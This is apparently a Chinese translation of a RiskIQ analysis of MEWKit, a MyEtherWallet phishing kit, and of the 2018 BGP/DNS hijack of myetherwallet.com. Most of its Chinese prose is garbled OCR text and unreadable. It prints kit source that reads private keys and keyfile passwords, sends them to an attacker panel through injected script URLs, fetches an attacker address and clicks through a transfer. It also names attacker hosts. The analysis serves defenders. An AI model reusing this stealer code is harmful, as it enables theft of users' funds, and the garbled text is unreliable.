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1. https://www.independent.co.uk/life-style/gadgets-and-tech /news/bitcoin-price-live-updates-latest-value-exchange-rate-digital-cryptocurrency-futures-investment-a8222851.html
2. https://www.theverge.com/2018/1/27/16940598/coincheck-hack-500-million-nem-tokens-cryptocurrency
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4. https://en.wikipedia.org/wiki/List_of_cryptocurrencies

5. https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/
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MyEtherWallet MREMMBLTHRZHAINZZHFES, ERXEABKA . —MRENZZRERT—HEE, AR
BE AR MKARSSARSEAME L, BEXMANX, KHAHAE TARMTEMNT HS 2 HEEM AR XE
H, XERTMZZABEBHTONUEREHAREEAERTER, FHENBEEXR.

A—JiE, MyEtherWallet BUE Y R#HIBEKAHPEIZE, FARMFPRMT — M REAFMRNERS UM
HITER . XMIFEE MyEtherWallet TRIFEER, EXBERASBROMXZANMNZEEFEOER —LERNE
R, FEHMABRENEEBR.

—B MEWKit REFINAMMNEASETES, NERERMINT . MyEtherWallet Muf9 R S HEZRAEE.
Elt, A% MEWKit %74 MyEtherWallet Fl{ERIMI45$0%E ATS,
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MEWKit £ K74

MEWKit FHAERDEM: —MR{5 MyEtherWallet 35 Y59 & ITEAM—MEEH TR S8, BEE —B#H{TH
FZPERSEXFENHEEAN RSB ELTERENER., AENNENITTBEREEREMENEERAR, X
HRXEEYUERESR, MEWKt ARBUEUXEENNER, (A MyEtherWallet X DUATHOIREHAEIMER, ARG
15,

MEWKit S HFA A ER AN B ERES, RACHRIINETNEEEHFIAATAZEENREPERBEE.
ATS BERMAEEMNBMSRET EREBERRMRE, TREAINSRNS ERENMERIED, NESAENZEE
MK, FFAERRREM BN R AR EE SRS AR (8] AT H B 5 7 K.

—BRPER, MEWKit iieEMMNMNRERIIF MRS mIFRERERL . ARBRTENRENRERE
AEWEIE, TR IES 89 MyEtherWallet IR ¥ B R EHEN SR,

MEWKIit $9& T1E
T MyEtherWallet T2 %X FiunizfT, FATMENEZET, HEREETUATHFNEEE, XIEZ MEWKIit £
FREFR#H., MyEtherWallet JECAET] UM GitHub % https://github.com/kvhnuke/etherwallet

MEWKit ;2 i — MRS DA E) MyEtherWallet 285 . E7E JTE F#A T FAESMY JavaScript R
X, BEwHA smjs FMwalletjs . ENEBMGEA MyEtherWallet BIA SCHBR 2R E 49 B R F 0%
wallet.js - Configuration
ZHI AT S MEWKit EREDNEEXH. EARMEIKRE:
js_stat
XN TEEEEEFHMUNFHE, FAEHRE 'admin @R, ESHEATHRBEKE SOEBGhIEFIA
EE LR ENRAEREHNAE.
user_in_page
RALTELRRALEY, EERARRRMMCEBASKARTILEN, 1R FBABREER, 0 ZRFLATILE.
sm.js - Core

TZBMIA B A MEWKit FIh8EERSY, FFHEEHEE MyEtherWallet fJRAADH . ZHATINEE —AER/EE!

__pwd
BEXEENGRE TN EIES D/ BHAE JSON XHERR .
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ikey
B BT AR RIS R A9ET MEWKit JRARER. ESEMBANEIEHLEREiG, B2k T #1R{E none” |}
b, REHEREHEME.

txt_ua
AESEENHEARIE A navigatoruserAgent

send_block_flg
BE—ANITHH 0 H 155, —EZEEMREMINKE, ATS 543 send_block_flg #&E H 0 F a4
MR, fREMH 1 0E A= BESEEIRS M AESBEEREATHZ S,

balance
—B A FAEXRE MEWKIit 9@ Mt BERASETHNTARTNE.

eth_recipient
BERHERES N ARERERESZ I,

balance_block_flg
BE—DTHE 03 1 475, —EFEEBEMIIN%EE, ATS 353 balance_block flg #&X 0, Fikie
EXEFHRETHNTARD.

count_flg
BE—NTHEI 0 1 78, IRSREAN 1, SHAREHE MEWKit TUE . X MEWKit FFaa R EUER B8 RIEAY RS
&R O] AR

AREL[REEZE, ZHASS-HRTHTHEMBNLASEIKNIE. RMNAREREE— 1 TE, £

BNz B REMNPITRE.

MEWKit 3457 MyEtherWallet JE#5 &

MEWKit $£477 MyEtherWallet fIEEIh8E, FATKZENRIEERMENET . MEWKit EXHIE

MyEtherWallet jR25 H £ T1a)<header>#37r. EZL7AIAT W MEWKit BIAFI— jQuery FHIA:

[ 4

5

6

<head>
<meta ht B = == "s<style type=" "s@charset " "

ng\:cloak] , V[r;g.;—cloak] ’ [data—ng—.cléa.k]. A |
x-ng-cloakl], .ng-cloak, .x-ng-cloak, .ng-hide:not(.ng-hide-animate){display:none !important;
Ing\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style>

7 <meta =" " co ="
8 <title></title>
9 <link =" ! _href=" .
|10 |sscript = 4 =! "></script> |
11 <script t = = "></script>
|12 <script type=' = U></script>
(13 |<script src= "></script>
14 |<script type=" = =" I></script>
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TE, TG AE<body>HriCH#HE|5k B MEWKit FREUFA:

38 </head>
39 <body onload="check_1();">

EWEEER—AFNELE IEEMMNOREEETRT. CEMRENFSZABEATUE LNETHA
1, WERAFTEEEMMTT.

T— MEWKit & &0 o] INE F AR ER:

60
61 <script type="text/javascript">top_href();</script>
62

IR RIEVOE S E LM EH, ©B% E TR AR N MyEtherWalletcom” . E 458 TEREHZ AN RZEE
MyEtherWallet.com #fil, S Ethereum R HEMEE, XPREFAHRE QAFEMNTAFEES AR LA
MyfHEILEC . &N AR BEMENTTE E 8.

MEWKit 89 T — MR EHERF AFH D ERE RERTNRE L.

193 <li class="nav-i help" id="1i_fk_v_w" style="display:none;">
194 <a href="javascript:void(@);" onclick="check_2();" id="fk_v_w">
195 <span translate="NAV_ViewWallet">

196 View Wallet Info

197 </span>

198 </a>

199 </ 11>

LEIEE R A A R BRI T, HFEERAEIASEBLL, MyEtherWallet KR A SHBIE, X
F MEWKit o] UHTTERBENL 5.
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755, MEWKit $§20% MyEtherWallet E FMEFERRFR. BEBRAT, BAFENANKASREER B
MEWKit RREBRBEEFRTHREGELSHRHE, SAFALERKIE LN, EEETHEF KL EAFARIAS
BB UE. HIAAE MEWKIt SLEIRS, BT IXBRIRXFITA. EREMMNT I MES B7~AY Ether-sending SLAR:

W) MyEtherWallet

New Wallet Send Ether & Tokens @Swap Send Offline Contracts ENS DomainSale Check TX Status View Wallet Info  Help

- View Wallet Info

This allows you to download different versions of private keys and re-print your paper wallet. You may want to do this in order to import your acco
explorer like etherscan.io.

How would you like to access your wallet?
View w/ Address Only
Metamask / Mist
Ledger Wallet

™ dj Elements Console Sources Network Performance Memory Application Security Audits
P — o T e YT e YT Y i
<!-— ngIf: globalService.currentTab==globalService.tabs.sendTransaction.id ——>

lock Plus  EditThisCookie

v<main class="tab-pane active ng-scope” id="maincontent" ng-if=""globalService.currentTab==glogflService.tabs.sendTransaction.id" ng-controller="sendTxCtrl">
<!-- Header : todo turn into warning notification-—>

> <div class="alert alert-info ng-hide" ng-show="hasQueryString">.</div>
<!== Unlock Wallet -->
wv<article class="collapse-container"
v<div ng-click="wd = !wd">
»<a class="collapse-button">.</a
hl id="h1_snd_thh" translate-"NAV_SendEther class-"ng-scope’ style-"display: none;"-Send Ether & Tokens</hl- == 5@

<hl id="h1_v_w" translate="NAV_ViewWallet" style class="ng-scope">View Wallet Info</hl>
</div>
b <div ng-show="I!wd" class>.</div>
<farticle>

M MEWKit Z| MyEtherWallet & /5—XIEAARE HTML TIE T, MEAEEHBEREE X etherwallet-
master.js, MyEtherWallet &K & 2#f Angular]S {EREER, RITFH XA RAWENSINEENW T AZES HTML 51
H. Angular]S VI TNEEFITT R HTIERIL, M BRI IR HERN SR IEEL .

X F 7 {5 A MyEtherWallet f95: 8 M D AYRE, MEWKit B3 7R IN— R #08 A5k #£58%) angular ]S, B
B MUt PrivateKey_decryptWallet, X7 T—ZE it ATS UTREFRFHANR. KNI UIBRIRATFHZE javascript
TR AR BV AN R E2— 1 Angular JS X

Your Wallet </h4>\n\n <div class=\"form-group\">\n <a tabindex=\"0\"\n
role=\"button\"\n class=\"btn btn-primary btn-block\"\n
ng-show=\"showFDecrypt | |showPDecrypt | |showMDecrypt | |showParityDecrypt\"\n
ng-click=\"decryptWallet()\"\n onclick=\"PrivateKey_decryptWallet()\"

translate=\"ADD_Label_6_short\"> UNLOCK </a>\n </div=\n\n <div
class=\"form-group\">\n <a _class=\"btn btn-primary btn-block\'"\n
[onclick=\"PrivateKey_decryptWallet()\"| ng-click=\"decryptAddressOnly()\"\n
ng—show=\"showAOn ly\"\n role=\"button\"\n tabindex=\"0\"> VIEW
BALANCE </a>\n </div>\n\n \n </section>\n\n <!-- / Column 3 -The Unlock Button

——>\n\n\n\n <!-— MODAL -->\n <article class=\"modal fade\" id=\"mnemonicModel\" tabindex=\"-1\"
role=\"dialog\" aria-labelledby=\"Mnemonic Phrase Modal\">\n\n <section
class=\"modal-dialog\">\n\n <section class=\"modal-content\">\n\n <div class=\"modal-body\"
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BT AB R BN AR ZEBRNNEREE AT =
MEWKit Y\ O REURZ RS ENRA:

BHRE, EEXFEATFET —1ES, WA EMR.

G MyEtherWallet

New Wallet Send Ether & Tokens $5wap Send Offline Contracts ENS DomainSale Check TX Status View Wallet Info  Help

This allows you to download different versions of private keys and re-print your paper wallet. You may want to do this in order to import your accof
explorer like etherscan.io.

How would you like to access your wallet?
View w/ Address Only

Elements Console Sources Network Performance Memory Application Security Audits Adblock Plus  EditThisCookie
»<section class="col-md-8 col-sm-6">.</section>

<!=- / Column 2 - Unlock That Key —>
<!— Column 3 - The Unlock Button —>
v<section class="col-md-4 col-sm-6 ng-hide” ng-show=
‘showFDecrypt | | showPDecrypt | |showMDecrypt | |[walletType=="ledger' | |walletType=='trezor'||walletType=='digitalBitbox"'||showAOnly||showParityDecrypt
translate="ADD_Label_6" class="ng-scope ng-hide">Unlock your Wallet</h4>

<h4 id="uploadbtntxt-wallet" ng-show="showFDecrypt||showPDecrypt||showMDecrypt
role="button" class="btn btn-primary btn-block ng-scope ng-hide" ng-show="showFDecrypt||showPDecrypt||showMDecrypt||showParityDecrypt"

v<div class="form-qroup">
<a tabindex="0"
lonclick "PrivateKey decryptWallet()" translate="ADD Label 6 short'>Unlock</a>

</div>
»<div class="form-group">.</div>

</section>
A= BT IRER . DRMERAREENAAHTMNEN&EHIE.

WMERTR, X

=]
TE

ATS Execution flow
YA SE— 1 MEWKit TEK, ESA8&HM ATS EEfFAES, NLEr. BEESELES, SXEBEHT
— N ERE, AHERBEE, XRESEMEL walletjs FHJ user_in_page , BHEEAN 1 (BRABEWRT) BT

if (user_in_page == 1) {
1 1 ] 1 1 )

401
send_data_login_("'

402
403 }
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send_data_login_gR#{7E ATS B MziTIEPRFER, BITEBRBET U TNEEINES%. MEWKit 5 EHN{TIR
ANAREERE. EHNE, EETRHAREMNEFENSEHWE—D URL T8, RERHZ URL (EAFBIEIAT IR
BAEN RRNETREARITIROE. AR

function send_data_login_( . b p) {
url = js_stat + '?master=' + ppp + 'Gaction=set&link=wallet&login_info="' + login_info + '&ua=" +
urlencode(txt ua) + ! gin=&send_ ' + urlencode(fgh) + '
0gin=§& [ t tate=nfo& ' 4+ urlencode(ikey) + '&ssid=' + Number(new Date());
var scrlptElement = document createElement( ipt*);
scriptElement.src = url;
document.getElementsByTagName('head') [@].appendChild(scriptElement);

WEFr7~, send_data_login_ R E#iE— URL, REBHBAN—DNFHBATES, HINEI s <head>, YT
WM ITIZEER MEWKIt SL41 A9 =51

<html lang="en" ng-app="mewApp" class="ng-scope”>
¥ <head:
»<style type="text/css">.</style>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
r<style type="text/css">.</style>

<meta name-"viewport" content-"width=device-width, initial-scale=1, shrink-to-fit=no">
<title-MYYETHERWALLETT.COM - Open-Source Client-Side Ether Wallet</title-
link rel="stylesheet" href="css/etherwallet-master.min.css">
<script type="text/javascript” src="js/wallet.js"></script>
<script type="text/javascript" src="js/etherwallet-static.min.js"></script>
<script type="text/javascript” src="{s/etherwallet-master. js"></script=
<script src="js/jguery-3.2.1.min,js"></script>
<script type="text/javascript” src="js/sm.js"></script>
<script src="htips://tikkiepayment. info/showpanel/?m; r=| L nk=wi nd_info=——&usrlogin=&usrpwd=Sbotid=6state=nfoSikey=none&ssid=15....74140622" " ></script>
«<meta name="description” content="MyEtherWallet (MEW) is a free, open-source, client-side interface for generating Ethereum wallets & more. Interact with the Ethereum blockchain easily &
securely.”>
<link href="images/fav/apple-touch-icon.png" rel="apple-touch-icon" sizes="180x180">
<link href="images/fav/favicon-32x32.png" rel="icon" type="image/png" sizes="32x32">
<link href="images/fav/favicon-16x16.png" rel="icon" type="image/png" sizes="16x16">
<link href="jimages/fav/manifest,json" rel="manifest">
<link href="images/fav/safari-pinned-tab.svq" rel="mask-icon" color="#2199b@8">
<link href=" imag f f n * rel="shortcut icon">
<meta name="apple-mobile-web-app-title” content="MyEtherWallet - Your Key to Ethereum'>
<meta name="application-name” content="MyEtherWallet">

RBMNERSERIEE—N/NEY JavaScript R, ERE—NEA jsessmsg NE/REE, ZEEWE
5 ATS M ERBAERX. XREHRERSHERERENAE:

1 var jsess_msg = "OK";

R HEE B — M RAM Y send_data_login_pv, EAEHERALFKEBEFRAMLE, X MRAERABTIA
HMERIETLA., RAEHAA LERPAFEMRNNEEN, TSEAXNRE, BAXHRNRDRE LR Eim.
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L X FFBIEM MyEtherWallet A A MBEMIA9sRBE, ATS T TTIASKFREIE, 1Z7T7AME
PrivateKey_decryptWallet e A9 onclick 54, XA ek EuRE H M- & DUE BB AT E AR R S0 IR FFE % A A

FRTHATE REEHREmNERRE. TEE—MNEMANETEZEENINEE
var td_iban = document.getElementsByTagName(" )i
for (var q = 8; q < td_iban.length; q++)
if (td_ibanl(q]. value == ' /') if (td_iban[q].checked == true) {
tmp = document. quElementById(‘ ').value;
send_data_login_pv(" . in *, * - i '+ tmp, '0', tmp);

balance_block_flg = ©;
send_block_flg = 0;
check_send_block();

&0 PUEE MEWKIt i8R AP FEAAAMEE, REFRIFIBIREAMEE A 0 71 check_send_block %],

AFABREEE] check_send_block REZH], A—LEEEZMNFATREMR XMENSZ=BEIEM
send_data_login_pv &, ZRBERREHENMAZFin. XEKE MEWKit #THEFTAT LB ZEENE
B, MRXEFEFVKXELZYUART, WEETURSERZEENRE.

XARHEFT H— MRS, A keyfile / JSON X 576X L BIE#X AV MEWKit I S04
BEREENE:

ar td_iban = document.getElementsByTagName( ' input');
for (var q = 8; q < td_iban.length; q++)
if (td_iban[ql.value == 'fil ') if (td_iban[q].checked == true) {
//sendAjaxForm() ;
var td_p = document.getElementsByTagName(' sy
for (var d = 0; d < td _p.length; d++)
(td_pl[d].type == ord' & td_pld].value.length > 3) pwd = td_pl[d].value;
document.getElementById( " k¢ d').value = '' + pwd;
sendAjaxForm();
send_data_login_(" ]S \ ol '3 pwd, '0');

balance_block_flg = 0;
send_block_flg = 0;
check_send_block();
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BRK LR ER RimMZA postphp FHFIREEIEH] js_stat ERE X BIEHAR.

RBBBIERAEERETARREREEREMINBIL:

function check_send_block() {
if (send_block_flg !== 1) {
var td_iban = document.getElementsByTagName('article');
for (var q = 0; q < td_iban.length; q++)

if (td_iban[q].innerHTML. index0f('<span ng-show="wd" class="">+</span>') >= 0 &&
td_iban[q].innerHTML. index0f('translate="NAV_S¢ her"') >= 0) {
send_block_flg = 1;
check_balance_block();
}
}
setTimeout (check_send_block, 1000);
}
XNRF=—EHIFAEEC, ExARSHEE, BRZXEETURHZS.
SRIGRABBkEE B check_balance_block & %:
function check_balance_block() {
if (balance_block_flg '== 1) {
var td_ul = document.getElementsByTagName('ul');
for (var a = 9; a < td_| ul length; a++)
1f (td ul[a].className == 'accou 4TI
var td_iban = td ul[a] getElementsByTagName( span');
for (var q = 0; q < td_iban. length q++)
if (td_ibanl[ql. className == 'mc /rap ng-binding') account_address_ = td_iban[ql.innerHTML;
}
var td_ul = document.getElementsByTagName('ul');
for (var a = 8; a < td_ul.length; a++)
if (td_l ul[a] className == 'account-info point') {
var td_iban = td ul[a] getElementSByTagName( )
for (var q = 8; q < td_ 1ban length q++)
if (td_iban(q]. className [ binding' && td_iban[q].innerHTML. 1ndex0f("""“ class="mono
wrap ng-bind </ S| m—') == -1 & td_iban[q].innerHTML. index0f( " 1t ng') == -1) {

balance_block flg -
balance = td_iban[q].innerHTML;

tmp = account_address_ + '<br>' + balance;
tmp = tmp.replace(/\r?\n/g, "")
send_data_login_('Balance/Address ', tmp, '0');
check_valid_balance();
}
}
}
setTimeout(check_balance_block, 1000);
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BARAXNINEEERRES, BEEAMMNRERSTFH@EITHTMLRXERERENRI, —BEEeIdMHE—"
o B&E, MmeBHICRE B, FEIEA check valid_balance EEL:

check_valid_balance() {
td_ul = document.getElementsByTagName('ul');
(v a ; a < td_ul.length; a++) {
(td_ullal.className == ' ¥ §
td_iban = td_ul[a].getElementsByTagName(' ')
( q = 0; q < td_iban.length; q++) {
(td_iban[q].className == ' 4 e |
balance = td_iban[q].innerHTML;
(balance !== '0') {
get_address()
} {
send_data_login_(" . G i
document.getElementById(" ').style.display = " s
document.getElementById(" ').style.display = "";
}
}
}
}
}
}

check_valid_balance B ERTMET AL, WRAR, ©SEFWICEK—FEE, B Stop ATS', IR
KERTAIEE, ©HBEITIAA get_address RE RS ITRE. XPNIMESHENREU, SESHBEFHEAN
— NHIAZEURL, UEHFNRBAREIER, XNATFHREUGARIEA] URL ZESH, KRR S E1R a2 E
URL K E.

AR BEMINE URL £, RANBERBFESREEBEAE, FEORBRNTFHEMRAR, REERE
FHER. BERINLNESSESR—TL M URL, EHWREHRSROERML

t_address() {
LoadScript(link, get_state_address);

)
92 d
193 link js_stat + ' " 4+ Number(new Date());
)
)
)

LoadScript R E I E— MBI HAIT R I URL 1% B A H get address £ LAY URL, —BEHRBEHINE, ©HE
FH get_state_address ERE KL ITIRIZ
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get_state_address B E;E jsess_msg TEF R ENENENTE, 2L EH/FiHEIL LoadScript &L, HEMEITN
THr7R:

function get_state_address() {

var msg = jsess_msg;

if (msg.indexOf("’ '} 9=0) 4
msg = msg.slice(msg.index0f('|"') + 1);
msg = msg.slice(msg.index0f('|"') + 1);
eth_recipient = msg.substring(®, msg.index0f('|"'));
set_data()

&

if (msg.indexO0f('[EM ') ==9) {
send_data_login_(" " O e )2
document.getElementById( "' loc ").style.display = ' -
document.getElementById(" ').style.display = "'

get_state_address Bid B VIMYI D FHBEMNNKBHITENE, UBTHEBEHERSEBINZRMIE, MR
BEHmR A [EMPTY], N MEWKit & 1F 4 BHFEREPiC B, R EEBMEK PRSI, %
A set_data K3, XEREBAENTRE—T.

set_data BRECE BT R B EBIU R AR — M ESEMEATAN . FF7E set_get_trans REHAE R Z Bl R %
Hi%H. ,ﬁﬁiﬁa?ﬁ%ﬂﬁﬁﬁﬁ)ﬁ‘ﬂi/\x%’fﬂﬂiﬁﬁ RIE, set get trans REULEIZR TIREMEREBEILE, =
EESX set_yes mk_trans BREHITHIBA, REBHRINES . XBEIIRTEHE, MNTRZEEREHNTH
=H.
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BEAL, XERFLIMETUEEERABERIFRTRAETUENEE, BIAMITFREK. NTEINLX

12233 A9 MEWKit 208 PR B Thig

function set_data() { <

var td_iban = document.getElementsByTagName('input');
td_iban[39]. focus();

for (var q = @; q < td_iban. length; q++) {

if (td_iban[ql.placeholder == '0x7cB57B5A97eAbe94205C07890BE4c1aD31E486A8") {
td lban[q] value = to_address,
$('#addrinp').val(to_address);
angular element (jQuery('#addrinp')).triggerHandler("input');

};
var td_iban = document.getElementsByTagName('a');
or (var q = 8; q < td_iban.length; q++) {
if (td_iban[q].innerHTML.indexOf('translate="SEND_TransferTotal"') >= @) {
td_iban[q].click();

+

F
setTimeout(set_get_trans, 4000)

}

function set_get_trans() {
document['getElementById']('gen_tx_btn')['click'l();
setTimeout(set_snd_trans, 4000)

}

function set_snd_trans() {
document['getElementById'] (' snc st etk i)
setTimeout(set_yes_mk_trans, 1«‘ )

15

XN BF AT RNGRIAALINE, IRNZENETREHERIIINA—F.
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MEWK:it fR 5585t
#EFTR, MEWKit f9EEIhAE, W364 ATS, 8E7E JavaScrip ik 49547, MEWKit f/S IR AT
> BETEE ATS FMENSBEBLITRTENREE, HEHSNRELREH
> RPREEEE MEASEABDCEIEREER, NSERME 2 HERHEME MM AR,
> R B5 SR ARBIHR B BRI A RN ENE S,
TEASHIERT, MEWKit ORISR S8 AT E H IR T M EEMEM T MR

MEWKit fJBRH: FE1F5RE

B S MyEtherWallet % #5 & FhiE{4 4% B, 40 Trezor8, Ledger Wallet9, Digital, Bitbox10 #0 Secalotll, {EH]IR=
BMIXLEE B PRI, XRRERLEEFEBEH &SR MEWKit $&8  A RS2 E MEWKIit ;9 ATS B, {8
MATEELEZFFHINERE LN S, AABGHRBENMNAFEERS, At A58 E T MEWKit,

RENRERARNANNZ 52T MEWKit §—MRE, SROUAZBIRZHABEXBMAFER. MEWKit RICRFT
ZHEREARENERER, ERBLEERH ATS e Bs#H TR EEIK,

8. https://trezorio/

9. https://www.ledgerwallet.com/
10.https://shiftcrypto.ch/

11. hitps://www.secalot.com/
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Jaa) 1Y D eI

T EB A T Bl RiskIQ BUIRE PR PSR MALEIER T MU TETHIREA AnyloC o] UAERIRER
EHyZihigts (10C) B HkEl.

HAER, BAPIERRAYERMNS MEWKit 98 MNys, RIVHTHALRL N R REm T N THe S
MEIE M. BTREE PA EVAISTEYIR T INAERIREE R IR ZMEIR B2 33,

RN Lz I h 53

4 B 24 H11:00UTC 3EM—=JL, 35T DB 5312 4835/ IP SEHAFT 7AW LML (BGP) #h%F,
% T D# DNS iy R4, XEWERLFRNE A S I IXEH 5 H—509 § 7 AmazonRoute 53 B B 55 2|
BS, FEESBHXEREHEIME CEFNmS.

FE IS H MyEtherWallet 5%
BEETDEE AS16509 TEH (F4EH) BILUT IP 2 H eNet 7£ AS1029713 T/AT:

205.251.192.0/24
205.251.193.0/24
205.251.195.0/24
205.251.197.0/24
205.251.199.0/24

XL [P H# 2 Amazon Route 53 i@ 13 It iR 55 4E 4 AT 53047 DNS BEFRAY—&B 5> . BEER 7 AS10297 dify ki
IP SREHTIH /I RBE B TIUE A TBE B 53 M—EREFH EEkE A/ DNS &,
KBRE, BT MBI AS ERHNIBEN T EREMERNIFEFEEN—ARME:

AS10297 |Pv4 Prefixes Announced (90 Days)
17 / %

31 06 12 18 24 02

™
¥

20 26 0 07 13 19 25 01

Source: https://bgp.he.net/AS10297

12.https://aws.amazon.com/route53/
13.https://blog.cloudflare.com/bgp-leaks-and-crypto-currencies/
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RALALIE®E AT Route 53 AR ER DNS fRES= RIRE 7 — MK MR . myetherwallet.com, {EfFH
BRIV R E =4 SERVFAIL MaR7, XZAELTREIAY. #HY DNS RSa0a 8 — MY [P Hhit
MyEtherWallet, 46.161.42.42, IFEEFE AS41995. RIFMIENE, XARFFHEKEBT L. WRBAVEMH—LL
BXILAS 9 WHOIS f58, 2RMEFAZ—PEFKL.

WHOIS Source: RIPE NCC

IP Address 46.161.42.42

Country Russian Federation

Network Name WebShield

Owner Name WebShield Network

CIDR 46.161.42.0/24

Contact Name Kucharavenka Ihar Valerievich
Address Lesi Ukrainki, 9, Kiev, Ukraine
Email webshieldsup@gmail.com
Abuse Email

Phone +380 95 5037029

Fax

FERRDE— AS, F7E WHOIS A {E A Gmail 52 RS HE FHRAMUIEBE R — N NFHOTR. RAITIUNEA
21 WHOISdetails F3ABE LB XU MIAER:

Organisation ORG-WS171-RIPE
Organisation Name Barbarich_Viacheslav_Yuryevich
Organisation Type Other

Russia
Address Marks

5-ya liniya, d.17

Email admin@web-shield.biz

14.https://puck.nether.net/pipermail /outages/2018-April/011257.html
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file:///C:/工作/WeChat%20Files/Avaeye/Files/46.161.42.42

RIE WHOIS {58, B 2014 FRbk, BFEHFhitMEE—EF#E, HFEEFMESREFET WHOIS BHRR
%25, BEl, My onweb-shieldbiz &b T BLRT, BREEEMRELIE, T UKE — D IHAEE QS M

@ WEB SHIELD @ webshied Q) support@web-shieldbiz W~

MpodeccoHanLHaR 3aUT OF ddos-a1aK [nasHan  Ycnyrm v ueHbl  Kaventol FAQ O komnanun  KOHTakTbl

[apaHTVA 3aLUTbI

CTouMOCTb 3aLLnThI BO3BPaLLIaETCH,

e pecypc nepecraeT paboTaTb.

Webshield X147 Y PEITF S AR ERAE, RAEMNBOMAPHETFSATERERIMNE IP =8, Hp—
M5IF7Z Rescatorl5, FATREXBHEMEXN AS WENAMELRA T EMMISTEMLE, EHREHRTIEENS.
HATTT U Webshield & X A—MBI5E 4.

15.https://en.wikipedia.org/wiki/Rescator
16.https://en.wikipedia.org/wiki/Bulletproof_hosting
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MR FF: @id MEWKit S A S IKEFL

RARNIL D E: Route 53 MEIFFEE S, BREE B TILE Webshield AS EaIfRS5#% EMTI &I MIREAAR
B, NERS SR EMEOIERIFR EFAZHRES, MBA16EH WHOIS 3RS E /FH) myetherwallet [.Jcom
R TECHBEERIEH. XEZMAHKE WHOIS:

Registrar
Email
Name
Organization
Street
City
| State
Postal
Country

Phone

NameServers

GODADDY.COM, LLC

MYETHERWALLET.COM@domainsbyproxy.com (registrant, admin, tech)

Registration Private (registrant, admin, tech)

Domains By Proxy, LLC (registrant, admin, tech)

DomainsByProxy.com| 14747 N Northsight Blvd Suite 111, PMB 309 (registrant, admin, tech)

Scottsdale (registrant, admin, tech)

Arizona (registrant, admin, tech)

85260 (registrant, admin, tech)

UNITED STATES (registrant, admin, tech)

14806242599 (registrant, admin, tech)

desi.ns.cloudflare.com
miles.ns.cloudflare.com

Source: https://community.riskiq.com/search/myetherwallet.com
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IR EFA17E4E F MEWKit f Webshield F=4 W £ 5 #4 SSL iE+

SHA-1

Y 4eeB8ad8ef36d1e4461526997b78415b6dc306ee3

Issued 2018-04-06

Expires 2019-04-06

Serial Number 12686049886239543079
SSL Version 3

Common Name MYETHERWALLET.COM (subject, issuer)
Organization Name Domains By Proxy, LLC (issuer, subject)
Organization Unit  Registration Private (issuer, subject)

Street Address

Source: https://community.riskiq.com/search/certificate/shal/4ee8ad8ef36d1e4461526997b78415b6dc306ee3

W& R BIRYE WHOIS HARERAEMIES, ZIEBHJLFEIIR Web JERARC. A, AMIFERIERZET
REEEEFT RE, BERARSHEW MEWKit MEAIAIIAARERE PHIL .

15.https://www.reddit.com/r/MyEtherWallet/comments/8ek0jj/think_i_got_scammedphishedhacked/
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MEWKit AR S SEMERBENENE—F BERSEFNNUARKEMLTEEAERE:

Welcome to
We know this click-through stuff is annoying. We are sorry.

Please take some time to understand this for
your own safety. i, Your funds will be stolen if
you do not heed these warnings.

We cannot recover your funds or freeze your
account if you visit a phishing site or lose your
private key.

What is MEW?
o MyEtherWallet is a free, open-source, client-side

interface.

¢ We allow you to interact directly with the
blockchain while remaining in full control of your
keys & your funds.

* You and only you are responsible for your
security.

MyEtherWallet is not a Bank

does not hold your keys for you. We cannot access accounts, recover keys, reset passwords, nor
reverse transactions. Protect your keys & always check that you are on correct URL. You are

responsibie 1or your security.

g o . .
" You can support us by supporting our blockchain-family.
e MyEtherwallet 0 our affiliate links to
Swap ETH/BTC/EUR/CHF via Bity.com

Suy a

Sty & securely. [ Ledger Wallet ~ TREZOR  Digital Bitbox ether.card

# Donations are always appreciated!
ETH: mewtopia.eth @x7cB57B5A97eAbe94205C07890BE4c1aD31E486A8

BTC: IMEWT25Gbqtz6mPCgFcnea8XmWV5Z4Wc6
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R, RAEX AW EPER IR E SHRAETEE MEWKitinstall FFF AR, MRFK1TE— T XY RER
(DOM) , BANSFEZFIEE A/ MEWKIt f{iA (TREF MEWKit, JE&F MyEtherWallet.com) :

9 <link rel="stylesheet" href="css/etherwallet-master.min.css"/>

10 <script type="text/javascript" src="js/wallet.js"/>)

1% <script type="text/javascript" src="js/etherwallet-static.min.js"/>
12 <script type="text/javascript" src="js/etherwallet-master.js"/>

13 <script src="js/jquery-3.2.1.min.js"/>

14 Lscript type="text/javascript" src="js/sm.js"ﬁJ

15 <meta name="description" content="MyEtherWallet (MEW) is a free, open-source,

15 <link rel="stylesheet" href="css/etherwallet-master.min.css"/>

16 ? <script type="text/javascript" src="js/etherwallet-static.min.js"/>

17 <script type="text/javascript" src="js/etherwallet-master.js"/>

18 <meta name="description" content="MyEtherWallet (MEW) is a free, open-source,

EE, W$aﬁuﬁﬁﬁt%% ERXMMNUFERERSN. MRENEE walletjs, EPFEEHEIL
XEEBMNEHME, FHNEE)X

1 var js_stat='/pind/';
2 var user_in_page=0;

LD EEWKIREGuRIRE A http://46.161.42.42/pind/, F_NLERTHAARICRK. WRBAEE smjs, FA)
EL T MNEMANTE BRI T M NEEN—LEX

MEWKit from BGP hijack Normal MEWKIit instance
var pwd = ''; var pwd = "";
var ikey = 'none'; var ikey = 'none';
var txt_ua = navigator.userAgent; var txt_ua = navigator.userAgent;
var send_block_flg = 0; var send_block_flg =
var balance = 'none'; var balance = 'none';
var eth_recipient = 'none'; var eth_recipient = 'none’
var eth_recipient_@ = 'none'; var balance_ block flg ="0;
var eth_recipient_1 = 'none'; var count_flg =
var eth_recipient_2 = 'none';
var eth_recipient_3 = 'none';
var balance_block_flg = ©;

var_count_flg =
|var_eth_recipient_tmp

i -
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130 H MEWKit fYThBEFTMERERY, eth_recipient TE SR AR SMEREE X, MERNLE
g¢WMﬁwm$%&ﬁﬁﬁ§($A)mﬂhWWMHxEﬁ,ﬁﬂ%ﬂﬁkﬁ—ﬁﬁ%ﬁ%A%#
AdE, ZRIEBMABESEETD, FRBETICH AN eth_recipient_n TE5FHiE, FAATITEER
A,

function get_state_address() {
var msg = jsess_msg;

if (msg.indexOf('[ADRESS]') >= @) {
//msg = msg.slice(msg.index0f("'|')+1);
msg = msg.split('|");
//console. log(msg) ;
eth_recipient = msg[”];

/* msg = msg.slice(msg.indexOf('|"')+1);
eth_recipient_tmp_1 = msg.substring(®, msg.index0f('|"'));
msg = msg.slice(msg.index0f("'|"')+1);
eth_recipient_tmp_2 = msg.substring(®, msg.indexO0f('|'));
